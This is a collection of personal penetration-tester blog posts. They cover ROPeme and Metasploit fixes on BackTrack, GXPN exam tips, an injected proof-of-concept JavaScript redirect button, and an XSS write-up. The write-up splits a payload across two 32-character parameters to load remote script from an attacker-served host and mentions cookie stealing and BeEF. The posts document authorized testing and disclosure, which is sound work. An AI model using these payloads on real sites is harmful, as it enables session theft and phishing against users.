Quick fix on ROPeme's ImportError: No module named distorm

Sup' all,

I'm currently working on my ROP skills and trying out ROPeme[1]. So what ROPeme does is that it helps exploit developers / researchers to generate ROP gadgets easily. For those who wants to find out more about ROP or return-oriented programming, try this tutorial: http://www.exploit-db.com/wp-content/themes/exploit/docs/28479.pdf  It's a step-by-step guide to perform your first ROP on Linux.

Anyway, I went to the site and git cloned the ropeme folder onto my '/opt/' directory. When I tried to run './ropshell.py', I get the following error message:

File "ropshell.py", line 24, in <module>
import gadgets
File "/opt/ropeme/ropeme/gadgets.py", line 21, in <module>
import distorm
ImportError: No module named distorm

I tried googling but it was a futile exercise. Then I did an apt-cache search distorm and found 'distorm3' in the distro. And of course, I went ahead to 'apt-get install distorm3' and found out that I actually had that in already. Drats! Now what?!

So basing on a hunch while thinking it was a long-shot, I went ahead and opened up gadgets.py and changed every occurence of 'distorm' to 'distorm3'. Unexpectedly, it worked!

Solution to make ROPeme work with distorm3 (I'm using Kali Backtrack[2])
1. Open up 'gadgets.py'
2. Do a 'replace' for every 'distorm' to 'distorm3'*
3. Save and exit
4. Issue the following command: # python ropshell.py
5. Celebrate a little and move on to actually do ROP.
*Needless to say, you'll need to have 'distorm3' installed on your linux.

Happy kittehz, happy ROPping ;)

- JS

References:
[1] ROPeme - http://www.vnsecurity.net/2010/08/ropeme-rop-exploit-made-easy/
[2] Kali Backtrack - http://www.kali.org/

Apologies to readers

Sup all,

If somehow you've subscribed to my RSS feed and get bombarded by several "code injection" posts, I want to sincerely apologize to you. :(

But good news, I've found and confirmed a security vulnerability that allows JavaScript execution on a Android Mobile App. I've sent an email to the developer and ethical disclosure is in progress.

To make all for all the mucks, I promise to upload some screenshots after the issue's been fixed. =D

Till then folks~

UPDATED: The vulnerability was confirmed and reported. For more details, see http://breaktoprotect.blogspot.sg/2014/04/feedly-android-application-zero-day.html

J.S.

Potential JavaScript Code Injection to App

Below are javascript code as Proof-of-code Javascript Code Injection -
1. A JavaScript button could be injected
2. The button performs location.href to target site. In this case, a fake POC site to prove that it could be used for potentially malicious phishing or extend further payload execution to malicious site.
Click the button below - it could redirect a user to a potential malicious site ;)
-BreakToProtect

</script>

<button onclick="location.href='http://www.potentially-malicious.site'" id="1" value="1"/>BreakToProtect's Button

<butt

XSS across multiple parameters with 32-character constraints per parameter

'Sup all,

Recently, during my job, I encountered Cross-site Scriptings (XSS) on a page with two affected parameters. So, XSS, big whoop. The catch is, you are only limited to 32-character per parameter and anything after that it is truncated. As some professionals know, clients may fight tooth and nail on the findings you report. In this case, they may argue that you can't put a malicious payload with just 64 characters, and they don't give a f* about an alert(1) printing on their page. To make matter worse, it's an internally served page - you can't serve malicious javascript over the internet. So, what to do? Drop the issue? No way ;)

Initial Test:
paramA=<script>alert(1)</script>
paramB=<script>alert(1)</script>

Resulted in a stored code displayed as part of the following HTML code:

 <script type="text/javascript" language="javascript">  
 //irrelevant chunks  
 // ..  
 // ..  
 var paramA = "<script>alert(1)</script>";  
 var paramB = "<script>alert(1)</script>";  

Length Constraint Test:
paramA=111112222233333444445555566666777778888899999
paramB=111112222233333444445555566666777778888899999

Resulted in a stored code displayed as part of the following HTML code snippet:

 var paramA = "1111122222333334444455555666667";  
 var paramB = "1111122222333334444455555666667";  

You should observe on the above snippet that any character after the 32nd will be cut off! Drats.
But not all is lost. There are a few ways you could approach this but here's what I did:
1. Use the good O' <SCRIPT src="//yoururl.com/malicious.js">
2. Use "*/" and "/*" to concatenate your payload
3. Since it's only intranet accessible, I fire up an IIS 7.5 on my test machine and serve up a javascript under the name "index.html". Yes, it works perfectly. ;) So you could do <script src="http://webserver_ip/"> and your javascript will execute nicely even if it's not saved as a '.js' extension. Nifty to know.

My solution:
paramA=</script><script%20/*
paramB="*/src="http://172.10.10.1/">

22 characters for paramA - safe!
30 characters for param B - safe!

I would use a shorter IP address (e.g. 10.0.0.2) but the 172.10.10.x is the subnet I'm attacking on. I have to stick to the /24 subnet but I did to change my javascript-serving webserver's IP from 172.10.10.100 to a single digit for the LSB octat (e.g. 172.10.10.1). Warning: Make sure you don't collide with your client's machine IP addresses.

Javascript Payload:
1. Just put your javascript code inside the 'index.html'
2. I did a simple alert("This is a javascript code execution for proof-of-concept..blah blah blah") to make my point. It could be anything from cookie stealing to BeEF's machine takeover =D
3. Save it as 'index.html'. If you're using IIS 7.5, put it in your X:\inetpub\wwwroot\ directory.

Resulting in:

 var paramA = "</SCRIPT><SCRIPT /*";  
 var paramB = ""*/src="http://172.10.10.1/">";  

And BOOM. ;)

Yea, many have done it and I've read a few posts on that. Still, it's different to personally encounter a live system which puts you in the spot to work around with the constraints. In short, I spent quite a number of hours due to my own n00bness, but managed to achieve a working XSS. Hopefully, my client is convinced to get it fixed. All in all, a simple but interesting encounter.

Laters y'all~

Regards,
JS.

Reference:
1. http://beefproject.com/‎ - The Browser Exploitation Framework Project

GXPN - getz!

After the many weeks of crazy after-office hours and weekends, I've finally went for the first attempt and passed the GIAC GXPN http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn . It's quite a challenge and probably the hardest examination I've ever took since my computer engineering degree days. For me, I attended Stephen Sim's class (SANS SEC660) and it was the best EVAR. Although things get pretty hairy after day 3, it's totally worth it. And I'm thankful for my company who sponsored the hefty amount. If you're into security, it's like attending a rock concert and get wow-ed at every juncture of the course.

If you decide, however, not to attend SANS SEC660 and do a GIAC attempt, you could do so too. Some tips on preparation can be found @ iPostive's blog: http://ipositivesecurity.blogspot.sg/2012/08/passed-giac-gxpn-exam.html

Btw, GXPN is a 3-hour open book examination and you're allowed to use the course materials. Open-book examinations are usually tougher and kinda applies in this case too. For those who have signed up or intend to attempt the GIAC GXPN in the near future, I've made an index for a quick-flip (trust me - you'll probably need it) and a "time reference" table to help keep track of time since you can only skip 5 questions. http://pastebin.com/wwPVMiqc

Some ways to use it:

1. Use word or some open source office tools to split the page to 3 columns

2. Cut and paste the contents from the pastebin.com link http://pastebin.com/wwPVMiqc

3. Shrink the margin or font to your preference to fit to the number of pages (mine is a 2-page index)

4. You could add/remove more keywords/phrases/toolnames into the index to make it better for your own use.

So what's with the page?

If it says for e.g. Tool X 4.125 - it means Book 4, page 125.

If you want to know how GIAC GXPN is like, you could also goto http://www.pwnag3.com/2012/10/gxpn-review.html to read his/her review.

So what do the candidate need to prepare:

Try this link: http://www.giac.org/certification/exploit-researcher-advanced-penetration-tester-gxpn

Some tips that helped me:

1. Do the TWO practice exams - they are a good indicator. I got 60% without any book reference. Got a 77% for 2nd practice. And final got a 78%. (Not great, but i'm thankful I've passed. I wished I studied more.)

2. You have to know your basics (nmap, cain rdp mitm, lsa, etc). They are not found in GXPN coursewares and I suspect they are from the SEC560 coursewares. Not too sure about that.

3. You have to know your stuffs really well. Reading is NOT good enough - you'll need to set up your lab environment and spend time working. There's really no shortcut to this - you can't braindump bruteforce your way through this exam.

NOW I AM A FREE BIRD =D Gonna go celebrate a little before returning to my side projects ;)

To the GXPN attempters: Good luck folks!

J.S out.

Fix your BTR3 4.5.0 Metasploit After Update Guide

After Kali went official, BTR3 was kinda abandoned and I got to see alot of pissed off people online looking to fix their Backtrack 5 R3's metasploit. Due to work's requirement, I start scouring for help all over the interwebs and found a few useful instructions. Here's a post to summarize and consolidate all the help I've gotten by nice folks on the internet. Hope this step-by-step guide will un-break your metasploit on your BTR3. It'll not take more than 15mins. Have fun!

Main idea: Upgrade your BT's Ruby from 1.9.2 to 1.9.3

Error: You may have encountered the error when trying to get Factory Girl 4.2.0 to work while perform 'bundle install' as requested by sir Metasploit himself. 

Summary of fix:

- Install 1.9.3

- Fresh install of metasploit using 'git clone' (avoid the SVN version from now on)

- And as usual, link and unbreak stuffs.

Limitation of fix:

Bad news, BTR3 doesn’t have Ruby1.9.3 in the repository so RVM is being used to install the version.

Need to do ‘/bin/bash –login’ whenever ./msfconsole is to be used.

Steps to retrieve the working version of metasploit

1. # cd /opt/

2. # rm -rf metasploit

3. # git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit

Let's open a new tab by pressing ctrl-shift-t.

Steps to install Ruby 1.9.3

1. # bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer)

2. # source /etc/profile.d/rvm.sh

3. # rvm -v

Let's fix up some libraries we need:

4. # package in zlib openssl libxslt libxml2; do rvm pkg install $package; done

5. # rvm install 1.9.3

You'll get error saying you need certain dependencies. 

6. # apt-get install <dependency 1> <dependency 2> ...

And of course, libssl-dev will still be screwed coz' current repository doesn't contain the right one. Let's add one to our /etc/apt/sources.list

7. # echo >> deb http://security.ubuntu.com/ubuntu lucid-security main /etc/apt/sources.list

8. # apt-get install libssl-dev 

Let's proceed to install our dear ruby 1.9.3 runtime:

9. # rvm install 1.9.3

So done? Let's switched to it. Current version will be 1.9.2-dev, so we gotta use our new shiny ruby 1.9.3.

10. # rvm 1.9.3 --default 

You'll see an error. So you'll need to do a login shell coz the current one just won't do.

11. # /bin/bash --login

12. # rvm 1.9.3 --default

13. # ruby -v

Now we have our 1.9.3. But something's still broken (yes of course, of course). Let's fix the pg.

14. # apt-get install libpq-dev

15. # gem install pg

Ok. Final moment of truth, let's proceed to the metasploit folder now!

16. # cd /opt/metasploit

17. # bundle install

*DEEP BREATH* Yes. Factory Girl 4.2.0 will install properly with Ruby 1.9.3 ;) And yes, you will be able to ./msfconsole

Long load time for ./msfconsole without any error means good news.

Congratulations! (and ba*ls to backtrack for not automating the update.)

References & Acknowledgements:

http://guides.dradisframework.org/install_on_backtrack.html

https://community.rapid7.com/thread/3207

Metasploit broke after updated to 4.5.0bt

:(

I broke my metasploit when I did a `apt-get install metasploit` to upgrade it.
It's not 4.5.0bt but msfconsole don't work anymore and so is msfupdate. Royally screwed if you ask me.

But there's a few ways to fix it:
1. http://fl3x.us/blog/2013/01/11/solving-msfconsole-msfupdate-issue-after-update-metasploit-to-4-5-0/

2. apt-get purge metasploit
then apt-get install metasploit
-> Basically a reinstallation if 1) doesn't work for you.

I needed to do 2).

Now I'm still trying to fix msfupdate. Msfconsole restored but msfupdate's still broken. Argh.

Broke,
J.S.